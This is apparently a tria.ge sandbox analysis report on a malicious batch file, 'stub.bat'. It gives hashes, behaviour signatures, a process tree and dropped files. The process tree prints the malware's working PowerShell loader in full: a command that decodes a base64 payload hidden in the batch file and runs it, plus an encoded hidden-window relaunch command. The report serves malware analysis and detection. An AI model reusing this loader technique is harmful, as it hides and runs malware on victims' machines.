Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

08/07/2024, 15:19

240708-sqj4jaxflf 10

08/07/2024, 13:40

240708-qyw2ys1gll 8

Analysis

  • max time kernel
    600s
  • max time network
    440s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240704-en
  • resource tags

    arch:x64arch:x86image:win11-20240704-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    08/07/2024, 15:19

General

  • Target

    stub.bat

  • Size

    3.4MB

  • MD5

    c27b8c9f05c86817d8d287f0d0bd8698

  • SHA1

    239748a1871a85c7df6733bc24d9497a331aca87

  • SHA256

    cd6c05138680001d640a47ed988487797a4b77e95bff6c4f57ae57d294aa53e1

  • SHA512

    fbd18278c1d8c18360f16cf11db634162cb7e14484853496670ca074e06cbd26f5933b9cd22046063da3f86c294c786c20a00545baa8cbdc76a6af61c55c7bca

  • SSDEEP

    49152:/mThC67EFbMUKiKknefnfIlTYhjwHs0j+VqdyvZWs6sT/Pj5wSe/XDX/DlbfZ5+m:n

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 28 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Windows\system32\dwm.exe
      "dwm.exe"
      2⤵
        PID:548
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Checks SCSI registry key(s)
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:4168
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:2440
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:4804
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1820
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:2412
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:3688
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2784
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:1468
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x0 /state0:0xa3a15855 /state1:0x41c64e6d
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:1432
    • C:\Windows\system32\lsass.exe
      C:\Windows\system32\lsass.exe
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:700
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
      1⤵
        PID:1004
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
        1⤵
          PID:780
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:684
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
            1⤵
              PID:1044
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
              1⤵
                PID:1064
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                1⤵
                  PID:1196
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  1⤵
                    PID:1244
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                    1⤵
                      PID:1284
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1340
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1420
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                          1⤵
                          • Drops file in System32 directory
                          PID:1472
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                          1⤵
                            PID:1524
                            • C:\Windows\system32\sihost.exe
                              sihost.exe
                              2⤵
                                PID:2896
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                              1⤵
                                PID:1580
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                1⤵
                                  PID:1600
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k NetworkService -p
                                  1⤵
                                    PID:1684
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                    1⤵
                                      PID:1748
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                      1⤵
                                        PID:1796
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                        1⤵
                                          PID:1868
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                          1⤵
                                            PID:1900
                                            • C:\Windows\system32\AUDIODG.EXE
                                              C:\Windows\system32\AUDIODG.EXE 0x00000000000004C0 0x00000000000004E0
                                              2⤵
                                                PID:928
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1960
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1968
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                  1⤵
                                                    PID:1652
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:1944
                                                    • C:\Windows\System32\spoolsv.exe
                                                      C:\Windows\System32\spoolsv.exe
                                                      1⤵
                                                        PID:2164
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                        1⤵
                                                          PID:2312
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                          1⤵
                                                            PID:2400
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                            1⤵
                                                              PID:2564
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2572
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                1⤵
                                                                  PID:2600
                                                                • C:\Windows\sysmon.exe
                                                                  C:\Windows\sysmon.exe
                                                                  1⤵
                                                                    PID:2628
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                    1⤵
                                                                      PID:2728
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                      1⤵
                                                                        PID:2736
                                                                        • C:\Windows\system32\wbem\WMIADAP.EXE
                                                                          wmiadap.exe /R /T
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Drops file in Windows directory
                                                                          PID:4832
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                        1⤵
                                                                          PID:2748
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                          1⤵
                                                                            PID:2756
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                            1⤵
                                                                              PID:2992
                                                                            • C:\Windows\system32\wbem\unsecapp.exe
                                                                              C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                              1⤵
                                                                                PID:3160
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Modifies registry class
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                • Suspicious use of FindShellTrayWindow
                                                                                • Suspicious use of SendNotifyMessage
                                                                                • Suspicious use of SetWindowsHookEx
                                                                                PID:3396
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\stub.bat"
                                                                                  2⤵
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:3676
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell -command "Copy-Item -Path C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Destination $env:LOCALAPPDATA\`$ktm-powershell.exe; $data = Get-Content -Path 'C:\Users\Admin\AppData\Local\Temp\stub.bat'; $lines = $data -split '\n';$last_line = $lines[-1]; $last_line = [Convert]::FromBase64String($last_line.Replace('\n', '')); $last_line = [System.Text.Encoding]::Unicode.GetString($last_line); [System.IO.File]::WriteAllText($env:LOCALAPPDATA + '\\$ktm-loader.ps1', $last_line); $last_line | iex"
                                                                                    3⤵
                                                                                    • Blocklisted process makes network request
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:2296
                                                                                    • C:\Users\Admin\AppData\Local\$ktm-powershell.exe
                                                                                      "C:\Users\Admin\AppData\Local\$ktm-powershell.exe" -ep bypass -ec JABtAHQAeAAgAD0AIAAiAEcAbABvAGIAYQBsAFwASABqAFgAQgBGADUAWgBPADcAaQBVAGkAdgBoADkAWgBRAE0AYQBtACIAOwAgACQAbQB0AHgATwBiAGoAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4ATQB1AHQAZQB4AF0AOgA6AE8AcABlAG4ARQB4AGkAcwB0AGkAbgBnACgAJABtAHQAeAApADsAIAB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApACAAewAgACQAbQB0AHgATwBiAGoALgBXAGEAaQB0AE8AbgBlACgAKQA7ACAAJABtAHQAeABPAGIAagAuAFIAZQBsAGUAYQBzAGUATQB1AHQAZQB4ACgAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAIAAkAHsAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQB9AFwAYAAkAGsAdABtAC0AbABvAGEAZABlAHIALgBwAHMAMQAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7ACAARQB4AGkAdAAgADAAOwAgAH0A
                                                                                      4⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:5052
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                1⤵
                                                                                  PID:3556
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                  1⤵
                                                                                    PID:3572
                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                    1⤵
                                                                                      PID:3984
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                        PID:4072
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                        1⤵
                                                                                          PID:3600
                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                          C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                          1⤵
                                                                                            PID:4132
                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                            C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                            1⤵
                                                                                              PID:4464
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                              1⤵
                                                                                                PID:4572
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                1⤵
                                                                                                  PID:4972
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                  1⤵
                                                                                                    PID:3188
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                    1⤵
                                                                                                      PID:3352
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                      1⤵
                                                                                                      • Modifies data under HKEY_USERS
                                                                                                      PID:3104
                                                                                                    • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                      "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                      1⤵
                                                                                                      • Modifies data under HKEY_USERS
                                                                                                      PID:1500
                                                                                                    • C:\Windows\system32\SppExtComObj.exe
                                                                                                      C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                      1⤵
                                                                                                        PID:2988
                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                        C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                        1⤵
                                                                                                          PID:4540
                                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                                          C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                          1⤵
                                                                                                            PID:3536
                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                            C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                            1⤵
                                                                                                              PID:1664
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc
                                                                                                              1⤵
                                                                                                              • Checks SCSI registry key(s)
                                                                                                              PID:1072
                                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                              1⤵
                                                                                                                PID:2296
                                                                                                              • C:\Windows\System32\smss.exe
                                                                                                                \SystemRoot\System32\smss.exe 00000144 0000008c
                                                                                                                1⤵
                                                                                                                  PID:3248
                                                                                                                • C:\Windows\System32\smss.exe
                                                                                                                  \SystemRoot\System32\smss.exe 000000f0 0000008c
                                                                                                                  1⤵
                                                                                                                    PID:1820
                                                                                                                  • C:\Windows\System32\smss.exe
                                                                                                                    \SystemRoot\System32\smss.exe 00000124 0000008c
                                                                                                                    1⤵
                                                                                                                      PID:796
                                                                                                                    • C:\Windows\System32\smss.exe
                                                                                                                      \SystemRoot\System32\smss.exe 000000f4 0000008c
                                                                                                                      1⤵
                                                                                                                        PID:4804
                                                                                                                      • C:\Windows\System32\smss.exe
                                                                                                                        \SystemRoot\System32\smss.exe 00000120 0000008c
                                                                                                                        1⤵
                                                                                                                          PID:2440
                                                                                                                        • C:\Windows\System32\smss.exe
                                                                                                                          \SystemRoot\System32\smss.exe 000000f8 0000008c
                                                                                                                          1⤵
                                                                                                                            PID:3676
                                                                                                                          • C:\Windows\System32\smss.exe
                                                                                                                            \SystemRoot\System32\smss.exe 000001b4 0000008c
                                                                                                                            1⤵
                                                                                                                              PID:668
                                                                                                                            • C:\Windows\System32\smss.exe
                                                                                                                              \SystemRoot\System32\smss.exe 000001b8 0000008c
                                                                                                                              1⤵
                                                                                                                                PID:1016
                                                                                                                              • C:\Windows\System32\smss.exe
                                                                                                                                \SystemRoot\System32\smss.exe 0000018c 0000008c
                                                                                                                                1⤵
                                                                                                                                  PID:3688
                                                                                                                                • C:\Windows\System32\smss.exe
                                                                                                                                  \SystemRoot\System32\smss.exe 00000124 0000008c
                                                                                                                                  1⤵
                                                                                                                                    PID:2784
                                                                                                                                  • C:\Windows\System32\smss.exe
                                                                                                                                    \SystemRoot\System32\smss.exe 00000120 0000008c
                                                                                                                                    1⤵
                                                                                                                                      PID:3396
                                                                                                                                    • C:\Windows\System32\smss.exe
                                                                                                                                      \SystemRoot\System32\smss.exe 00000168 0000008c
                                                                                                                                      1⤵
                                                                                                                                        PID:1432

                                                                                                                                      Network

                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                      Replay Monitor

                                                                                                                                      Loading Replay Monitor...

                                                                                                                                      Downloads

                                                                                                                                      • C:\Users\Admin\AppData\Local\$ktm-powershell.exe

                                                                                                                                        Filesize

                                                                                                                                        440KB

                                                                                                                                        MD5

                                                                                                                                        0e9ccd796e251916133392539572a374

                                                                                                                                        SHA1

                                                                                                                                        eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

                                                                                                                                        SHA256

                                                                                                                                        c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

                                                                                                                                        SHA512

                                                                                                                                        e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xpzqpqy1.dzx.ps1

                                                                                                                                        Filesize

                                                                                                                                        60B

                                                                                                                                        MD5

                                                                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                        SHA1

                                                                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                        SHA256

                                                                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                        SHA512

                                                                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                      • C:\Windows\System32\perfc009.dat

                                                                                                                                        Filesize

                                                                                                                                        128KB

                                                                                                                                        MD5

                                                                                                                                        a9ae270f03cd818fc5ccb1fc114ed0f8

                                                                                                                                        SHA1

                                                                                                                                        57cfce4c18c0163fd41652ab89e4c51649eee492

                                                                                                                                        SHA256

                                                                                                                                        c08bb34abb284c2fb15d4372c2c3c2387f71ebeb920be89c9079e96c7a4ca3ec

                                                                                                                                        SHA512

                                                                                                                                        5fa35050038e187b0be9547ff86e49aa5272a273eefb83472758da5b818e4e86eba254422b4524fb7a4bd66bd5c3ae210162cab1247b601ea1a3fc6454703ef0

                                                                                                                                      • C:\Windows\System32\perfh009.dat

                                                                                                                                        Filesize

                                                                                                                                        699KB

                                                                                                                                        MD5

                                                                                                                                        a89ae42f5a026c19299f9fa3278556cd

                                                                                                                                        SHA1

                                                                                                                                        ec0a61aa2b89c9f80c734006446f124530e0f66b

                                                                                                                                        SHA256

                                                                                                                                        94ddaf67c6973113ef2992feab11bd2147194541c8c8efc82f7b51e89fc08a25

                                                                                                                                        SHA512

                                                                                                                                        fad978dd060c6a507d8be487d8478f4f550c2e3fa440c8b3f90c19771f9e2b0d34ead3fad6f026ea233bbd5ec0f5274b7dc6bab4ea4d090322d4406edd3a836e

                                                                                                                                      • C:\Windows\System32\wbem\Performance\WmiApRpl.h

                                                                                                                                        Filesize

                                                                                                                                        3KB

                                                                                                                                        MD5

                                                                                                                                        b133a676d139032a27de3d9619e70091

                                                                                                                                        SHA1

                                                                                                                                        1248aa89938a13640252a79113930ede2f26f1fa

                                                                                                                                        SHA256

                                                                                                                                        ae2b6236d3eeb4822835714ae9444e5dcd21bc60f7a909f2962c43bc743c7b15

                                                                                                                                        SHA512

                                                                                                                                        c6b99e13d854ce7a6874497473614ee4bd81c490802783db1349ab851cd80d1dc06df8c1f6e434aba873a5bbf6125cc64104709064e19a9dc1c66dcde3f898f5

                                                                                                                                      • C:\Windows\System32\wbem\Performance\WmiApRpl.ini

                                                                                                                                        Filesize

                                                                                                                                        29KB

                                                                                                                                        MD5

                                                                                                                                        ffdeea82ba4a5a65585103dd2a922dfe

                                                                                                                                        SHA1

                                                                                                                                        094c3794503245cc7dfa9e222d3504f449a5400b

                                                                                                                                        SHA256

                                                                                                                                        c20b11dff802aa472265f4e9f330244ec4aca81b0009f6efcb2cf8a36086f390

                                                                                                                                        SHA512

                                                                                                                                        7570527fdae4818f0fc780f9f141ab6a2d313cc6b3fdb1f7d7ff05d994ad77d3f8d168b1d77c2555d25dc487d24c18f2cc0eab505d1dd758d709f2576aac1a8a

                                                                                                                                      • memory/548-85-0x00007FFEDAEA6000-0x00007FFEDAEA7000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4KB

                                                                                                                                      • memory/548-71-0x0000023DF03B0000-0x0000023DF03DC000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        176KB

                                                                                                                                      • memory/548-79-0x0000023DF03B0000-0x0000023DF03DC000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        176KB

                                                                                                                                      • memory/548-84-0x00007FFEDAEA3000-0x00007FFEDAEA4000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4KB

                                                                                                                                      • memory/644-30-0x0000022609FB0000-0x0000022609FD6000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        152KB

                                                                                                                                      • memory/644-81-0x00007FFEDAEA4000-0x00007FFEDAEA5000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4KB

                                                                                                                                      • memory/644-86-0x0000022609FB0000-0x0000022609FD6000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        152KB

                                                                                                                                      • memory/644-31-0x000002260A200000-0x000002260A22C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        176KB

                                                                                                                                      • memory/644-41-0x00007FFE9AE90000-0x00007FFE9AEA0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/644-40-0x000002260A200000-0x000002260A22C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        176KB

                                                                                                                                      • memory/644-32-0x000002260A200000-0x000002260A22C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        176KB

                                                                                                                                      • memory/700-53-0x0000019E7B320000-0x0000019E7B34C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        176KB

                                                                                                                                      • memory/700-54-0x00007FFE9AE90000-0x00007FFE9AEA0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/700-82-0x0000019E7B2F0000-0x0000019E7B316000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        152KB

                                                                                                                                      • memory/700-45-0x0000019E7B320000-0x0000019E7B34C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        176KB

                                                                                                                                      • memory/700-942-0x0000019E7B2F0000-0x0000019E7B316000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        152KB

                                                                                                                                      • memory/780-89-0x000001B2DEF60000-0x000001B2DEF8C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        176KB

                                                                                                                                      • memory/1004-943-0x000002E077D30000-0x000002E077D56000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        152KB

                                                                                                                                      • memory/1004-66-0x000002E077D60000-0x000002E077D8C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        176KB

                                                                                                                                      • memory/1004-83-0x000002E077D30000-0x000002E077D56000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        152KB

                                                                                                                                      • memory/1004-67-0x00007FFE9AE90000-0x00007FFE9AEA0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/1004-58-0x000002E077D60000-0x000002E077D8C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        176KB

                                                                                                                                      • memory/2296-19-0x0000000140000000-0x0000000140023000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        140KB

                                                                                                                                      • memory/2296-80-0x00007FFEB9D90000-0x00007FFEBA852000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/2296-25-0x00000201F9DF0000-0x00000201F9E48000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        352KB

                                                                                                                                      • memory/2296-26-0x00000201FA280000-0x00000201FA288000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        32KB

                                                                                                                                      • memory/2296-0-0x00007FFEB9D93000-0x00007FFEB9D95000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        8KB

                                                                                                                                      • memory/2296-24-0x00007FFED9C40000-0x00007FFED9CFD000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        756KB

                                                                                                                                      • memory/2296-18-0x00000201FA150000-0x00000201FA1C4000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        464KB

                                                                                                                                      • memory/2296-17-0x00000201FA060000-0x00000201FA150000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        960KB

                                                                                                                                      • memory/2296-296-0x00000201FA540000-0x00000201FA548000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        32KB

                                                                                                                                      • memory/2296-922-0x00007FFEB9D90000-0x00007FFEBA852000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/2296-16-0x00000201F9DE0000-0x00000201F9DEA000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        40KB

                                                                                                                                      • memory/2296-15-0x00000201F9DD0000-0x00000201F9DDE000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        56KB

                                                                                                                                      • memory/2296-13-0x00007FFEB9D90000-0x00007FFEBA852000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/2296-11-0x00007FFEB9D90000-0x00007FFEBA852000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/2296-10-0x00007FFEB9D90000-0x00007FFEBA852000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/2296-9-0x00000201F9D60000-0x00000201F9D82000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        136KB